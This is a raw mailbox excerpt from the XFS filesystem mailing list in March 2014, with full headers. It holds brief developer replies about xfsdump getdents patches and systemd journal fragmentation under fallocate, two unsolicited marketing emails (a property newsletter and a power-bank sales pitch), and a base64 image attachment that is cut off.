SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6EFC47F83 for ; Sat, 22 Mar 2014 03:53:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id EBA78AC001 for ; Sat, 22 Mar 2014 01:53:29 -0700 (PDT) X-ASG-Debug-ID: 1395478407-04bdf05dab7e1bb0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id QBeoMARfOtmAHEOZ for ; Sat, 22 Mar 2014 01:53:28 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqI/ADlOLVN5LMWSPGdsb2JhbABZgwY7vWCFERQ9gRQXAwEBAQE4NYIlAQEBBDocIxAIAxgJJQ8FJQMHGhOHeA7OMBMEiUWDLIF+B4MkgRQEmEmVcyk Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO destitution) ([121.44.197.146]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Mar 2014 19:23:26 +1030 Received: from dave by destitution with local (Exim 4.82) (envelope-from ) id 1WRHgB-0000e2-BL; Sat, 22 Mar 2014 19:53:23 +1100 Date: Sat, 22 Mar 2014 19:53:23 +1100 From: Dave Chinner To: Kyle McMartin Cc: Eric Sandeen , sandeen@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH] xfsdump: don't assume getdents exists Message-ID: <20140322085323.GC18572@destitution> X-ASG-Orig-Subj: Re: [PATCH] xfsdump: don't assume getdents exists References: <20131106213635.GC24712@redacted.bos.redhat.com> <52A72930.4020404@sandeen.net> <20140322051205.GB8095@redacted.bos.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140322051205.GB8095@redacted.bos.redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395478407 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4146 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Mar 22, 2014 at 01:12:05AM -0400, Kyle McMartin wrote: > On Tue, Dec 10, 2013 at 08:46:08AM -0600, Eric Sandeen wrote: > > Hey Kyle - were you going to do a V2 of this one? > > > > Just checking, thanks - > > i've got a pair of somewhat more substantial patches to fix the ifdef > hell in this file, clean things up so it works on both getdents64 only > and not, and then rips out the pre-2.4.1 getdents code. > > https://github.com/jkkm/xfsdump/commit/e156bcf06effbf5f2e26c53efb0ce028c4281f9e > https://github.com/jkkm/xfsdump/commit/fff56b471220a8fa305b9158c4f8f0c7344c8fe6 > > the latter looks quite a bit better... care to take a quick look and if > they're decent, i'll submit them both. Please just post the patches. People will comment on them on them once you post them to the list... Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+82113ec754c6ad577d8d+3863+infradead.org+hch@bombadil.srs.infradead.org Sat Mar 22 08:33:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C82537F83 for ; Sat, 22 Mar 2014 08:33:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A47A38F8059 for ; Sat, 22 Mar 2014 06:33:02 -0700 (PDT) X-ASG-Debug-ID: 1395495176-04bdf05dab7ee490001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id jRhnskmRn7ZaAa45 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 22 Mar 2014 06:32:57 -0700 (PDT) X-Barracuda-Envelope-From: BATV+82113ec754c6ad577d8d+3863+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WRM2e-0006Tl-Ql; Sat, 22 Mar 2014 13:32:52 +0000 Date: Sat, 22 Mar 2014 06:32:52 -0700 From: Christoph Hellwig To: Florian Weimer Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [FAQ] XFS speculative preallocation Message-ID: <20140322133252.GA20779@infradead.org> X-ASG-Orig-Subj: Re: [FAQ] XFS speculative preallocation References: <20140321162920.GA3087@laptop.bfoster> <87eh1vuxam.fsf@mid.deneb.enyo.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <87eh1vuxam.fsf@mid.deneb.enyo.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1395495177 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4150 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 21, 2014 at 09:11:29PM +0100, Florian Weimer wrote: > I see rather dramatic fragmentation of the systemd journal when it is > stored on XFS, and it calls posix_fallocate before writing data to the > file. You mean it calls fallocate before each write? That's not very useful behaviour and should be fixed. If it calls fallocate for the whole expeted file size (or large increments) it should not fragment the file, and if it does there's a bug we'd need to look into. From bounce-xfs=oss.sgi.com@whitedesign.biz Sun Mar 23 06:32:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=DATE_IN_PAST_12_24, HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BAE4A7F57 for ; Sun, 23 Mar 2014 06:32:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AD8DA8F8037 for ; Sun, 23 Mar 2014 04:32:10 -0700 (PDT) X-ASG-Debug-ID: 1395574322-04cb6c56787ecbb0001-NocioJ Received: from invet.whitedesign.biz (invet.whitedesign.biz [103.24.234.143]) by cuda.sgi.com with ESMTP id NhT0QVAqATwZ5qDV for ; Sun, 23 Mar 2014 04:32:03 -0700 (PDT) X-Barracuda-Envelope-From: bounce-xfs=oss.sgi.com@whitedesign.biz X-Barracuda-Apparent-Source-IP: 103.24.234.143 Received: by invet.whitedesign.biz id h5r33c0001gi for ; Sun, 23 Mar 2014 17:01:58 +0530 (envelope-from ) To: xfs@oss.sgi.com Subject: =?UTF-8?B?VVMgUHJvcGVydHkgTmV3cyAtIEhvbWUgUHJpY2UgZ3Jvd3RoIGNvbnRpbnVlc+KApg==?= Message-ID: <67d02fda9b0dbe72013ccb1fee730fa7@whitedesign.biz> X-ASG-Orig-Subj: =?UTF-8?B?VVMgUHJvcGVydHkgTmV3cyAtIEhvbWUgUHJpY2UgZ3Jvd3RoIGNvbnRpbnVlc+KApg==?= Date: Sat, 22 Mar 2014 19:02:50 +0530 From: "US Property Guru" Reply-To: enquiry@uspropertyguru.com MIME-Version: 1.0 X-Mailer-LID: 4 List-Unsubscribe: X-Mailer-RecptId: 463870 X-Mailer-SID: 138 X-Mailer-Sent-By: 6 Content-Type: multipart/alternative; charset="UTF-8"; boundary="b1_a89e2c59ec0e4ea55b49f48ba9efbefb" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: invet.whitedesign.biz[103.24.234.143] X-Barracuda-Start-Time: 1395574322 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.01 X-Barracuda-Spam-Status: No, SCORE=1.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA038b, DATE_IN_PAST_12_24, DATE_IN_PAST_12_24_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4173 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_12_24 Date: is 12 to 24 hours before Received: date 0.00 HTML_MESSAGE BODY: HTML included in message 0.80 DATE_IN_PAST_12_24_2 DATE_IN_PAST_12_24_2 0.20 BSF_SC0_SA038b Custom Rule SA038b --b1_a89e2c59ec0e4ea55b49f48ba9efbefb Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit If you cannot see email, click here [http://whitedesign.biz/link.php?M=463870&N=138&L=252&F=T with my friends [mailto:link%20TBA]March 2014 Summary If we had all been blessed with great foresight we would have been investing in U.S. property in late 2012 when prices were at their lowest. However although home prices have been on the up through 2013 they are still way south of the peak price days and there are still great deals to be had. Investors will still hold the whip hand over traditional homebuyers simply because price and loan interest rates are making it more difficult for family home purchasing against a backdrop of slow wage rises. With the increases in home prices and increased loan interest rates we have looked again at the buy or rent argument and find no financial case to rent albeit there may be many other reasons why that is a lifestyle choice. With the influx of property investors came the concern of what happens when they depart. It seems from recent evidence that it is unlikely that we will witness a mass exodus anytime soon and in fact more investors are likely to be entering the market and remain in for the long haul. As we know there are any number of industry reports and home price indices available to provide guidance, however in many cases that simply causes increased confusion. The array of approaches and methodologies are bound to produce different outcomes so we probably need to be content with trends across the range rather than clinging to the numbers produced which do vary widely. Analysts agree on continuing home price growthWe have previously argued in this blog that with the plethora of home price reports available and the numerous methodology approaches adopted the outcomes are bound to be very different across the range. We therefore concluded that no single report necessarily reflects the actual state of play and that the value is not actually in the figures but in the trend line. However there is also worth in appreciating the reasons that different approaches have been adopted. Zillow, the real estate research company, remains highly critical of the methodology adopted by the industry leading Case-Shiller. read more [http://whitedesign.biz/link.php?M=463870&N=138&L=253&F=T] Buying remains 38% cheaper than rentingWith the significant rise in home prices through 2013 and loan interest rate hikes we return to the question of whether renting or buying is a better financial bet. And even if buying might be the right financial option now, at what point do interest rate increases reverse that position?. read more [http://whitedesign.biz/link.php?M=463870&N=138&L=254&F=T Price reports create confusion As we know 2013 reflected the best year of home price gains since 2005 however there are mixed views on whether that particular party is now over. Last month the S&P Case-Shiller Home Price Index report was suggesting that the strongest part of the recovery was over and that read more [http://whitedesign.biz/link.php?M=463870&N=138&L=255&F=T investors view the long haulThe results from a recently conducted survey, and feedback from an industry real estate summit, indicate the notion that property investors would depart in droves in 2014 appears to be a myth. According to Morgan Stanley not only are the majority likely to stay in, read more [http://whitedesign.biz/link.php?M=463870&N=138&L=256&F=T] [http://whitedesign.biz/link.php?M=463870&N=138&L=121&F=T] Traditional homebuyers facing uphill battleAlthough average home prices across the nation are still well below the peak the typical homebuyer is still being priced out of the market in many major cities and coastal areas. In hindsight we now know that the most affordable time to purchase was toward the end of 2012 before the recovery kicked in. read more [http://whitedesign.biz/link.php?M=463870&N=138&L=257&F=T me from this list [http://whitedesign.biz/link.php?M=463870&N=138&L=5&F=T] Click this link to unsubscribe: http://whitedesign.biz/unsubscribe.php?M=463870&C=895e321c969a7f5d31a6b0ff387a5099&L=4&N=138 --b1_a89e2c59ec0e4ea55b49f48ba9efbefb Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit US property news: March 2014
If you cannot see email, click here
Share with my friends
header
March 2014 Summary

If we had all been blessed with great foresight we would have been investing in U.S. property in late 2012 when prices were at their lowest. However although home prices have been on the up through 2013 they are still way south of the peak price days and there are still great deals to be had.

Investors will still hold the whip hand over traditional homebuyers simply because price and loan interest rates are making it more difficult for family home purchasing against a backdrop of slow wage rises. With the increases in home prices and increased loan interest rates we have looked again at the buy or rent argument and find no financial case to rent albeit there may be many other reasons why that is a lifestyle choice. With the influx of property investors came the concern of what happens when they depart.

It seems from recent evidence that it is unlikely that we will witness a mass exodus anytime soon and in fact more investors are likely to be entering the market and remain in for the long haul. As we know there are any number of industry reports and home price indices available to provide guidance, however in many cases that simply causes increased confusion. The array of approaches and methodologies are bound to produce different outcomes so we probably need to be content with trends across the range rather than clinging to the numbers produced which do vary widely.

Analysts agree on continuing home price growth

We have previously argued in this blog that with the plethora of home price reports available and the numerous methodology approaches adopted the outcomes are bound to be very different across the range. We therefore concluded that no single report necessarily reflects the actual state of play and that the value is not actually in the figures but in the trend line. However there is also worth in appreciating the reasons that different approaches have been adopted.

Zillow, the real estate research company, remains highly critical of the methodology adopted by the industry leading Case-Shiller. read more

analysts agree
buying remains cheaper
Buying remains 38% cheaper than renting
With the significant rise in home prices through 2013 and loan interest rate hikes we return to the question of whether renting or buying is a better financial bet. And even if buying might be the right financial option now, at what point do interest rate increases reverse that position?. read more
home price reports
Home Price reports create confusion
As we know 2013 reflected the best year of home price gains since 2005 however there are mixed views on whether that particular party is now over. Last month the S&P Case-Shiller Home Price Index report was suggesting that the strongest part of the recovery was over and that read more
property invester
Property investors view the long haul
The results from a recently conducted survey, and feedback from an industry real estate summit, indicate the notion that property investors would depart in droves in 2014 appears to be a myth. According to Morgan Stanley not only are the majority likely to stay in, read more

traditional homebuyers
Traditional homebuyers facing uphill battle
Although average home prices across the nation are still well below the peak the typical homebuyer is still being priced out of the market in many major cities and coastal areas. In hindsight we now know that the most affordable time to purchase was toward the end of 2012 before the recovery kicked in. read more
Unsubscribe me from this list
--b1_a89e2c59ec0e4ea55b49f48ba9efbefb-- From sales7@moresun.cn Mon Mar 24 03:07:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A94D27F37 for ; Mon, 24 Mar 2014 03:07:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 24F248F8039 for ; Mon, 24 Mar 2014 01:07:07 -0700 (PDT) X-ASG-Debug-ID: 1395648414-04bdf05dac85fde0001-NocioJ Received: from mail.gmail105.cn4e.com (gmail105.cn4e.com [118.145.2.220]) by cuda.sgi.com with ESMTP id v8bu9TaXkKAd4Mrg for ; Mon, 24 Mar 2014 01:06:55 -0700 (PDT) X-Barracuda-Envelope-From: sales7@moresun.cn X-Barracuda-Apparent-Source-IP: 118.145.2.220 Received: from Pc2012022812kyb (unknown [14.127.199.91]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by mail.gmail105.cn4e.com (Postfix) with ESMTPSA id 5C9A190807D for ; Mon, 24 Mar 2014 16:06:47 +0800 (CST) Date: Mon, 24 Mar 2014 16:03:59 +0800 From: Ruby-Moresun To: xfs Reply-To: sales7 Subject: Fashionable 2200mAh power bank-- China factory price & free sample Disposition-Notification-To: Ruby-Moresun X-ASG-Orig-Subj: Fashionable 2200mAh power bank-- China factory price & free sample X-Priority: 3 X-GUID: 36746ABE-AB6F-40F2-B53A-8F5F8A51DE15 X-Has-Attach: no X-Mailer: Foxmail 7.0.1.92[cn] Mime-Version: 1.0 Message-ID: <2014032416034792128679@moresun.cn> Content-Type: multipart/related; boundary="----=_001_NextPart228255534805_=----" X-Barracuda-Connect: gmail105.cn4e.com[118.145.2.220] X-Barracuda-Start-Time: 1395648414 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4201 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_001_NextPart228255534805_=---- Content-Type: multipart/alternative; boundary="----=_002_NextPart887611076738_=----" ------=_002_NextPart887611076738_=---- Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: base64 RGVhciBDdXN0b21lciwNCg0KTmljZSBkYXkhIA0KDQpUaGFua3MgZm9yIHlvdXIgYXR0YW50aW9u Lg0KDQpIZXJlIHJlY29tbWVuZCBhIHByb21vdGlvbmFsIHBvd2VyIGJhbmssICBBIGZyZWUgc2Ft cGxlIGlzIGluIHN0b2NrIGZvciB0ZXN0aW5nLg0KDQoyMjAwbUFoIGNhcGFjaXR5LCA1IGNvbG9y IGZvciBvcHRpb25zLCBPRU0gYXJlIG11Y2ggd2VsY29tZWQhISENCg0KDQoNCkFueSBmdXJ0aGVy IGludGVyZXN0cywgZmVlbCBmcmVlIHRvIGNvbnRhY3QgbWUuDQoNCkxvb2tpbmcgZm9yd2FyZCB0 byBoZWFyIGZyb20geW91Lg0KDQoNCg0KDQpCZXN0IFJlZ2FyZHMsDQpSdWJ5DQoNCi0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpa ZWVmbyBJbnRlcm5hdGlvbmFsIEdyb3VwIENvLiwgTGltaXRlZA0KU2hlbnpoZW4gTW9yZXN1biBF bGVjdHJvbmljIFRlY2hub2xvZ3kgQ28uLCBMdGQNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQ0KV2ViOiB3d3cuaS1pc3VuLmNvbSAgICAgICAgICAgICBBbGliYWJhOnd3dy5tb3Jlc3VuLmNv bS5jbg0KVGVsOiA4Ni03NTUtODk0ODU3NzggICAgICAgICAgICBNb2I6IDg2LTE4NjgyMjk3MDYz DQpFbWFpbDogc2FsZXM3QG1vcmVzdW4uY24gICAgIFNreXBlOiBzdW5zb2xhci5ydWJ5DQpUTTpj bjE1MDE0OTg0ODIgICAgICAgICAgICAgICAgICBRUToyMzE2MTA4MjI0DQpBZGQ6IEZsb29yIDQt NaOsQnVpbGRpbmcgQTYgo6xUaGUgTmV3IE1hdGVyaWFsIEluZHVzdHJpYWwgUGFyayxTaWxpY29u IFZhbGxleSBQb3dlcixab25neWkgUmQsWmhhbmdnZSBDb21tdW5pdHksR3VhbmxhbixMb25naHVh ICxTaGVuemhlbixDaGluYQ== ------=_002_NextPart887611076738_=---- Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: quoted-printable
Dear Customer,
 = ;
= Nice=20 day!
 = ;
= Thanks=20 for your attantion.
 = ;
= Here=20 recommend a promotional power bank,  is in stock for=20 testing.
 = ;
= 2200mAh=20 capacity, 5 color for options, OEM are much welcomed!!!
 = ;
 
= Any=20 further interests, feel free to contact me.
 = ;
= Looking=20 forward to hear from you.
 

Ruby
 
---= ---------------------------------------------------------

Zeefo International Group Co., Limited
Shenzhen Moresun Electronic Technology Co.,=20 Ltd

-------------------------------------------------------------= -----------------------
Web:=20 www.i-isun.com
  =     =      &nbs= p;=20 Alibaba:www.moresun.com.cn

Tel:=20 86-755-89485778   <= WBR>    <= WBR>    =20 Mob: 86-18682297063

Email: sales7@moresun.cn    =20 Skype: sunsolar.ruby

TM:cn1501498482          &= nbsp;      =20 QQ:2316108224

Add: Floor 4-5=A3=ACBuilding A6 =A3=ACThe New Material Indust= rial Park,Silicon=20 Valley Power,Zongyi Rd,Zhangge Community,Guanlan,Longhua=20 ,Shenzhen,China

------=_002_NextPart887611076738_=------ ------=_001_NextPart228255534805_=---- Content-Type: image/jpeg; name="Catch5679(03-07-(03-24-16-03-42).jpg" Content-Transfer-Encoding: base64 Content-ID: <_Foxmail.0@3A96AF33-87CB-4C76-85E3-BE1E191AF55F> /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAEJAiQDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD+ry5j VbmXgELLIrMFJ/iYnGSc84GB1wPSq+0BFMYLFiRnJQr3wU5ye+cjqB162brc13OpUqBNIFxxnLdc cEuT25GM00KVOCeMZHZ8njkDnoPpjrUxVlZ9z37JbIfBEwPMnJx904IPpjBxz75HrWlEgG5NzMcZ JJ6kkYxgDBGevOce9UYkxwXII+9u+Uk9D0IJOa04wpIO/wCYBefbIAB7Hrnn8MGm5KKs76v8r/5j LMVrbxyO6ZEjJnPJJIHI6/oe3brjQhRAN2QSVB3jcSCcfXa/uSQR2GaoxsVcLg7kZgSccq2e7DHT jt+He8rMEBXIUk5AwcnnHK+4qItR1ur/APDeXp0/Jmc5qHTW6/L1JCpB+UtuPU9ARxnce59Pf9GF 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 